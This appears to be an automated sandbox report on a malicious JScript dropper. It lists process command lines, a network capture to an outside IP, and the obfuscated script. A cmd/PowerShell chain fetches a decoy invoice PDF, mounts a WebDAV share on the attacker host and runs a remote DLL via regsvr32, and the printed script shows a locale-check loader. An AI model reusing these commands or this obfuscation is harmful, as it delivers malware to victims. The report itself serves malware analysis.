obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 14, 2025 08:39:00.977564096 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 14, 2025 08:39:00.977579117 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 14, 2025 08:39:00.977593899 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 14, 2025 08:39:00.977608919 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 14, 2025 08:39:00.977622986 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 14, 2025 08:39:00.977637053 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 14, 2025 08:39:00.977650881 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 14, 2025 08:39:00.977664948 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 14, 2025 08:39:00.977680922 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 14, 2025 08:39:00.982609034 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	2748	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 08:39:02.327442884 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 14, 2025 08:39:03.142096043 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 07:39:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:38:57
Start date:	14/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js"
Imagebase:	0x7ff627390000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:38:57
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll
Imagebase:	0x7ff61a880000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:38:57
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:38:57
Start date:	14/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:39:01
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:39:01
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff61a880000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:39:01
Start date:	14/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7cc020000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:39:01
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:39:01
Start date:	14/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:39:02
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1548,i,2908860732586160362,9786012212092137693,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function egtukze() {	egtukze() ➔ undefined
1	this[nrnggstzv + jrhzmkeg + rcmbdus + xjodxgzzr] ( "gewduwio=[1031,3079,5127,4103,2055,3072];var dcidad=this[pjbpusd+rcmbdus+kldpcyr+xqxazjgyn+nrnggstzv+fszmmqc+wxjknlsyf+iqpbs](this[rwitu+fgnrnpacy+leybo+kldpcyr+mnxrc+pjbpusd+iqpbs][jkqqdrjyf+kldpcyr+nrnggstzv+rcmbdus+iqpbs+nrnggstzv+vsdhkea+womee+gkybs+nrnggstzv+leybo+iqpbs](rwitu+fgnrnpacy+leybo+kldpcyr+mnxrc+pjbpusd+iqpbs+qgftyqc+fgnrnpacy+balsgmml+nrnggstzv+xjodxgzzr+xjodxgzzr)[xelmoqxp+nrnggstzv+ffxhrykvy+xelmoqxp+nrnggstzv+rcmbdus+xzwvxdf](yqorvb+vpqfksfw+njajrrciy+qinwxs+fudotbaiq+jkqqdrjyf+uspxnaofx+xelmoqxp+xelmoqxp+njajrrciy+kzmot+ovhnmlzfk+fudotbaiq+uspxnaofx+fgnrnpacy+njajrrciy+xelmoqxp+gvdvzk+jkqqdrjyf+xxtaw+wxjknlsyf+iqpbs+kldpcyr+xxtaw+xjodxgzzr+ivprbjg+qvqhuyeck+rcmbdus+wxjknlsyf+nrnggstzv+xjodxgzzr+gvdvzk+fszmmqc+wxjknlsyf+iqpbs+nrnggstzv+kldpcyr+wxjknlsyf+rcmbdus+iqpbs+mnxrc+xxtaw+wxjknlsyf+rcmbdus+xjodxgzzr+gvdvzk+ddyghm+xxtaw+leybo+rcmbdus+xjodxgzzr+nrnggstzv),16);for(mepehf=0;mepehf<gewduwio[xjodxgzzr+nrnggstzv+wxjknlsyf+ffxhrykvy+iqpbs+balsgmml];++mepehf){if(dcidad==gewduwio[mepehf]){dcidad=true;break;}}if(dcidad!==true)this[rwitu+fgnrnpacy+leybo+kldpcyr+mnxrc+pjbpusd+iqpbs][ltgclyh+rlarw+mnxrc+iqpbs]();this[rwitu+fgnrnpacy+leybo+kldpcyr+mnxrc+pjbpusd+iqpbs][jkqqdrjyf+kldpcyr+nrnggstzv+rcmbdus+iqpbs+nrnggstzv+vsdhkea+womee+gkybs+nrnggstzv+leybo+iqpbs](rwitu+fgnrnpacy+leybo+kldpcyr+mnxrc+pjbpusd+iqpbs+qgftyqc+fgnrnpacy+balsgmml+nrnggstzv+xjodxgzzr+xjodxgzzr)[kldpcyr+rlarw+wxjknlsyf](leybo+dahxwijxq+xzwvxdf+ivprbjg+kydsu+leybo+ivprbjg+pjbpusd+xxtaw+zeswgradh+nrnggstzv+kldpcyr+xqxazjgyn+balsgmml+nrnggstzv+xjodxgzzr+xjodxgzzr+qgftyqc+nrnggstzv+uztcaau+nrnggstzv+ivprbjg+rqalblac+jkqqdrjyf+xxtaw+dahxwijxq+dahxwijxq+rcmbdus+wxjknlsyf+xzwvxdf+ivprbjg+yootf+fszmmqc+wxjknlsyf+jrhzmkeg+xxtaw+jtzuhfyo+nrnggstzv+rqalblac+rwitu+nrnggstzv+womee+xelmoqxp+nrnggstzv+udehb+rlarw+nrnggstzv+xqxazjgyn+iqpbs+ivprbjg+rqalblac+vsdhkea+rlarw+iqpbs+neijgvk+mnxrc+xjodxgzzr+nrnggstzv+ivprbjg+hdjceitsz+iqpbs+nrnggstzv+dahxwijxq+pjbpusd+hdjceitsz+gvdvzk+mnxrc+wxjknlsyf+jrhzmkeg+xxtaw+mnxrc+leybo+nrnggstzv+qgftyqc+pjbpusd+xzwvxdf+hoojrlv+ivprbjg+balsgmml+iqpbs+iqpbs+pjbpusd+dikfsno+kydsu+kydsu+nuvmi+stvwlra+hcfngql+qgftyqc+nuvmi+omhhuhwfx+hcfngql+qgftyqc+nuvmi+qgftyqc+dxceb+uatehir+ngudymmfo+kydsu+mnxrc+wxjknlsyf+jrhzmkeg+xxtaw+mnxrc+leybo+nrnggstzv+qgftyqc+pjbpusd+balsgmml+pjbpusd+yootf+rptikqab+rptikqab+xqxazjgyn+iqpbs+rcmbdus+kldpcyr+iqpbs+ivprbjg+hdjceitsz+iqpbs+nrnggstzv+dahxwijxq+pjbpusd+hdjceitsz+gvdvzk+mnxrc+wxjknlsyf+jrhzmkeg+xxtaw+mnxrc+leybo+nrnggstzv+qgftyqc+pjbpusd+xzwvxdf+hoojrlv+rptikqab+rptikqab+leybo+dahxwijxq+xzwvxdf+ivprbjg+kydsu+leybo+ivprbjg+wxjknlsyf+nrnggstzv+iqpbs+ivprbjg+rlarw+xqxazjgyn+nrnggstzv+ivprbjg+gvdvzk+gvdvzk+nuvmi+stvwlra+hcfngql+qgftyqc+nuvmi+omhhuhwfx+hcfngql+qgftyqc+nuvmi+qgftyqc+dxceb+uatehir+ngudymmfo+hmfoq+ejnfejoai+ejnfejoai+ejnfejoai+ejnfejoai+gvdvzk+xzwvxdf+rcmbdus+jrhzmkeg+zeswgradh+zeswgradh+zeswgradh+kldpcyr+xxtaw+xxtaw+iqpbs+gvdvzk+rptikqab+rptikqab+leybo+dahxwijxq+xzwvxdf+ivprbjg+kydsu+leybo+ivprbjg+kldpcyr+nrnggstzv+ffxhrykvy+xqxazjgyn+jrhzmkeg+kldpcyr+hcfngql+dxceb+ivprbjg+kydsu+xqxazjgyn+ivprbjg+gvdvzk+gvdvzk+nuvmi+stvwlra+hcfngql+qgftyqc+nuvmi+omhhuhwfx+hcfngql+qgftyqc+nuvmi+qgftyqc+dxceb+uatehir+ngudymmfo+hmfoq+ejnfejoai+ejnfejoai+ejnfejoai+ejnfejoai+gvdvzk+xzwvxdf+rcmbdus+jrhzmkeg+zeswgradh+zeswgradh+zeswgradh+kldpcyr+xxtaw+xxtaw+iqpbs+gvdvzk+nuvmi+ngudymmfo+uatehir+dxceb+ngudymmfo+ngudymmfo+ngudymmfo+hcfngql+hcfngql+dxceb+ngudymmfo+uatehir+uatehir+lxdcdjxq+qgftyqc+xzwvxdf+xjodxgzzr+xjodxgzzr,0,false);" );	eval("gewduwio=[1031,3079,5127,4103,2055,3072];var dcidad=this[pjbpusd+rcmbdus+kldpcyr+xqxazjgyn+nrnggstzv+fszmmqc+wxjknlsyf+iqpbs](this[rwitu+fgnrnpacy+leybo+kldpcyr+mnxrc+pjbpusd+iqpbs][jkqqdrjyf+kldpcyr+nrnggstzv+rcmbdus+iqpbs+nrnggstzv+vsdhkea+womee+gkybs+nrnggstzv+leybo+iqpbs](rwitu+fgnrnpacy+leybo+kldpcyr+mnxrc+pjbpusd+iqpbs+qgftyqc+fgnrnpacy+balsgmml+nrnggstzv+xjodxgzzr+xjodxgzzr)[xelmoqxp+nrnggstzv+ffxhrykvy+xelmoqxp+nrnggstzv+rcmbdus+xzwvxdf](yqorvb+vpqfksfw+njajrrciy+qinwxs+fudotbaiq+jkqqdrjyf+uspxnaofx+xelmoqxp+xelmoqxp+njajrrciy+kzmot+ovhnmlzfk+fudotbaiq+uspxnaofx+fgnrnpacy+njajrrciy+xelmoqxp+gvdvzk+jkqqdrjyf+xxtaw+wxjknlsyf+iqpbs+kldpcyr+xxtaw+xjodxgzzr+ivprbjg+qvqhuyeck+rcmbdus+wxjknlsyf+nrnggstzv+xjodxgzzr+gvdvzk+fszmmqc+wxjknlsyf+iqpbs+nrnggstzv+kldpcyr+wxjknlsyf+rcmbdus+iqpbs+mnxrc+xxtaw+wxjknlsyf+rcmbdus+xjodxgzzr+gvdvzk+ddyghm+xxtaw+leybo+rcmbdus+xjodxgzzr+nrnggstzv),16);for(mepehf=0;mepehf<gewduwio[xjodxgzzr+nrnggstzv+wxjknlsyf+ffxhrykvy+iqpbs+balsgmml];++mepehf){if(dcidad==gewduwio[mepehf]){dcidad=true;break;}}if(dcidad!==true)this[rwitu+fgnrnpacy+leybo+kldpcyr+mnxrc+pjbpusd+iqpbs][ltgclyh+rlarw+mnxrc+iqpbs]();this[rwitu+fgnrnpacy+leybo+kldpcyr+mnxrc+pjbpusd+iqpbs][jkqqdrjyf+kldpcyr+nrnggstzv+rcmbdus+iqpbs+nrnggstzv+vsdhkea+womee+gkybs+nrnggstzv+leybo+iqpbs](rwitu+fgnrnpacy+leybo+kldpcyr+mnxrc+pjbpusd+iqpbs+qgftyqc+fgnrnpacy+balsgmml+nrnggstzv+xjodxgzzr+xjodxgzzr)[kldpcyr+rlarw+wxjknlsyf](leybo+dahxwijxq+xzwvxdf+ivprbjg+kydsu+leybo+ivprbjg+pjbpusd+xxtaw+zeswgradh+nrnggstzv+kldpcyr+xqxazjgyn+balsgmml+nrnggstzv+xjodxgzzr+xjodxgzzr+qgftyqc+nrnggstzv+uztcaau+nrnggstzv+ivprbjg+rqalblac+jkqqdrjyf+xxtaw+dahxwijxq+dahxwijxq+rcmbdus+wxjknlsyf+xzwvxdf+ivprbjg+yootf+fszmmqc+wxjknlsyf+jrhzmkeg+xxtaw+jtzuhfyo+nrnggstzv+rqalblac+rwitu+nrnggstzv+womee+xelmoqxp+nrnggstzv+udehb+rlarw+nrnggstzv+xqxazjgyn+iqpbs+ivprbjg+rqalblac+vsdhkea+rlarw+iqpbs+neijgvk+mnxrc+xjodxgzzr+nrnggstzv+ivprbjg+hdjceitsz+iqpbs+nrnggstzv+dahxwijxq+pjbpusd+hdjceitsz+gvdvzk+mnxrc+wxjknlsyf+jrhzmkeg+xxtaw+mnxrc+leybo+nrnggstzv+qgftyqc+pjbpusd+xzwvxdf+hoojrlv+ivprbjg+balsgmml+iqpbs+iqpbs+pjbpusd+dikfsno+kydsu+kydsu+nuvmi+stvwlra+hcfngql+qgftyqc+nuvmi+omhhuhwfx+hcfngql+qgftyqc+nuvmi+qgftyqc+dxceb+uatehir+ngudymmfo+kydsu+mnxrc+wxjknlsyf+jrhzmkeg+xxtaw+mnxrc+leybo+nrnggstzv+qgftyqc+pjbpusd+balsgmml+pjbpusd+yootf+rptikqab+rptikqab+xqxazjgyn+iqpbs+rcmbdus+kldpcyr+iqpbs+ivprbjg+hdjceitsz+iqpbs+nrnggstzv+dahxwijxq+pjbpusd+hdjceitsz+gvdvzk+mnxrc+wxjknlsyf+jrhzmkeg+xxtaw+mnxrc+leybo+nrnggstzv+qgftyqc+pjbpusd+xzwvxdf+hoojrlv+rptikqab+rptikqab+leybo+dahxwijxq+xzwvxdf+ivprbjg+kydsu+leybo+ivprbjg+wxjknlsyf+nrnggstzv+iqpbs+ivprbjg+rlarw+xqxazjgyn+nrnggstzv+ivprbjg+gvdvzk+gvdvzk+nuvmi+stvwlra+hcfngql+qgftyqc+nuvmi+omhhuhwfx+hcfngql+qgftyqc+nuvmi+qgftyqc+dxceb+uatehir+ngudymmfo+hmfoq+ejnfejoai+ejnfejoai+ejnfejoai+ejnfejoai+gvdvzk+xzwvxdf+rcmbdus+jrhzmkeg+zeswgradh+zeswgradh+zeswgradh+kldpcyr+xxtaw+xxtaw+iqpbs+gvdvzk+rptikqab+rptikqab+leybo+dahxwijxq+xzwvxdf+ivprbjg+kydsu+leybo+ivprbjg+kldpcyr+nrnggstzv+ffxhrykvy+xqxazjgyn+jrhzmkeg+kldpcyr+hcfngql+dxceb+ivprbjg+kydsu+xqxazjgyn+ivprbjg+gvdvzk+gvdvzk+nuvmi+stvwlra+hcfngql+qgftyqc+nuvmi+omhhuhwfx+hcfngql+qgftyqc+nuvmi+qgftyqc+dxceb+uatehir+ngudymmfo+hmfoq+ejnfejoai+ejnfejoai+ejnfejoai+ejnfejoai+gvdvzk+xzwvxdf+rcmbdus+jrhzmkeg+zeswgradh+zeswgradh+zeswgradh+kldpcyr+xxtaw+xxtaw+iqpbs+gvdvzk+nuvmi+ngudymmfo+uatehir+dxceb+ngudymmfo+ngudymmfo+ngudymmfo+hcfngql+hcfngql+dxceb+ngudymmfo+uatehir+uatehir+lxdcdjxq+qgftyqc+xzwvxdf+xjodxgzzr+xjodxgzzr,0,false);") ➔ 0
2	}
3	ltgclyh = "t";
4	ltgclyh = "B";
5	ltgclyh = "C";
6	ltgclyh = "n";
7	ltgclyh = "T";
8	ltgclyh = "o";
9	ltgclyh = "R";
10	ltgclyh = "Q";
11	jtzuhfyo = "L";
12	jtzuhfyo = "G";
13	jtzuhfyo = "X";
14	jtzuhfyo = "b";
15	jtzuhfyo = "T";
16	jtzuhfyo = "z";
17	jtzuhfyo = "s";
18	jtzuhfyo = "D";
19	jtzuhfyo = "v";
20	jtzuhfyo = "k";
21	xqxazjgyn = "E";
22	xqxazjgyn = "g";
23	xqxazjgyn = "G";
24	xqxazjgyn = "y";
25	xqxazjgyn = "B";
26	xqxazjgyn = "K";
27	xqxazjgyn = "s";
28	neijgvk = "j";
29	neijgvk = "f";
30	neijgvk = "t";
31	neijgvk = "s";
32	neijgvk = "h";
33	neijgvk = "A";
34	neijgvk = "J";
35	neijgvk = "F";
36	qinwxs = "D";
37	qinwxs = "M";
38	qinwxs = "i";
39	qinwxs = "h";
40	qinwxs = "c";
41	qinwxs = "Y";
42	jkqqdrjyf = "p";
43	jkqqdrjyf = "E";
44	jkqqdrjyf = "n";
45	jkqqdrjyf = "H";
46	jkqqdrjyf = "n";
47	jkqqdrjyf = "e";
48	jkqqdrjyf = "C";
49	jkqqdrjyf = "C";
50	wxjknlsyf = "d";
51	wxjknlsyf = "h";
52	wxjknlsyf = "B";
53	wxjknlsyf = "y";
54	wxjknlsyf = "j";
55	wxjknlsyf = "y";
56	wxjknlsyf = "u";
57	wxjknlsyf = "P";
58	wxjknlsyf = "n";
59	zeswgradh = "D";
60	zeswgradh = "f";
61	zeswgradh = "h";
62	zeswgradh = "Q";
63	zeswgradh = "R";
64	zeswgradh = "y";
65	zeswgradh = "A";
66	zeswgradh = "w";
67	qvqhuyeck = "B";
68	qvqhuyeck = "E";
69	qvqhuyeck = "y";
70	qvqhuyeck = "c";
71	qvqhuyeck = "G";
72	qvqhuyeck = "k";
73	qvqhuyeck = "P";
74	dikfsno = "o";
75	dikfsno = "i";
76	dikfsno = "s";
77	dikfsno = "N";
78	dikfsno = "G";
79	dikfsno = "Y";
80	dikfsno = "n";
81	dikfsno = ":";
82	ovhnmlzfk = "A";
83	ovhnmlzfk = "i";
84	ovhnmlzfk = "I";
85	ovhnmlzfk = "A";
86	ovhnmlzfk = "g";
87	ovhnmlzfk = "Y";
88	ovhnmlzfk = "T";
89	hdjceitsz = "i";
90	hdjceitsz = "b";
91	hdjceitsz = "M";
92	hdjceitsz = "a";
93	hdjceitsz = "c";
94	hdjceitsz = "G";
95	hdjceitsz = "%";
96	xjodxgzzr = "i";
97	xjodxgzzr = "e";
98	xjodxgzzr = "E";
99	xjodxgzzr = "R";
100	xjodxgzzr = "V";
101	xjodxgzzr = "l";
102	fudotbaiq = "d";
103	fudotbaiq = "c";
104	fudotbaiq = "c";
105	fudotbaiq = "a";
106	fudotbaiq = "a";
107	fudotbaiq = "A";
108	fudotbaiq = "H";
109	fudotbaiq = "e";
110	fudotbaiq = "_";
111	hmfoq = "G";
112	hmfoq = "o";
113	hmfoq = "M";
114	hmfoq = "q";
115	hmfoq = "I";
116	hmfoq = "a";
117	hmfoq = "y";
118	hmfoq = "G";
119	hmfoq = "N";
120	hmfoq = "@";
121	xxtaw = "J";
122	xxtaw = "Z";
123	xxtaw = "B";
124	xxtaw = "c";
125	xxtaw = "V";
126	xxtaw = "Z";
127	xxtaw = "o";
128	ddyghm = "a";
129	ddyghm = "W";
130	ddyghm = "W";
131	ddyghm = "j";
132	ddyghm = "a";
133	ddyghm = "S";
134	ddyghm = "u";
135	ddyghm = "t";
136	ddyghm = "L";
137	leybo = "p";
138	leybo = "v";
139	leybo = "D";
140	leybo = "M";
141	leybo = "i";
142	leybo = "v";
143	leybo = "I";
144	leybo = "M";
145	leybo = "c";
146	hcfngql = "D";
147	hcfngql = "G";
148	hcfngql = "T";
149	hcfngql = "y";
150	hcfngql = "V";
151	hcfngql = "o";
152	hcfngql = "3";
153	njajrrciy = "Z";
154	njajrrciy = "Q";
155	njajrrciy = "a";
156	njajrrciy = "X";
157	njajrrciy = "s";
158	njajrrciy = "Y";
159	njajrrciy = "b";
160	njajrrciy = "j";
161	njajrrciy = "E";
162	uspxnaofx = "A";
163	uspxnaofx = "W";
164	uspxnaofx = "K";
165	uspxnaofx = "e";
166	uspxnaofx = "y";
167	uspxnaofx = "s";
168	uspxnaofx = "H";
169	uspxnaofx = "Q";
170	uspxnaofx = "G";
171	uspxnaofx = "U";
172	rptikqab = "n";
173	rptikqab = "G";
174	rptikqab = "h";
175	rptikqab = "f";
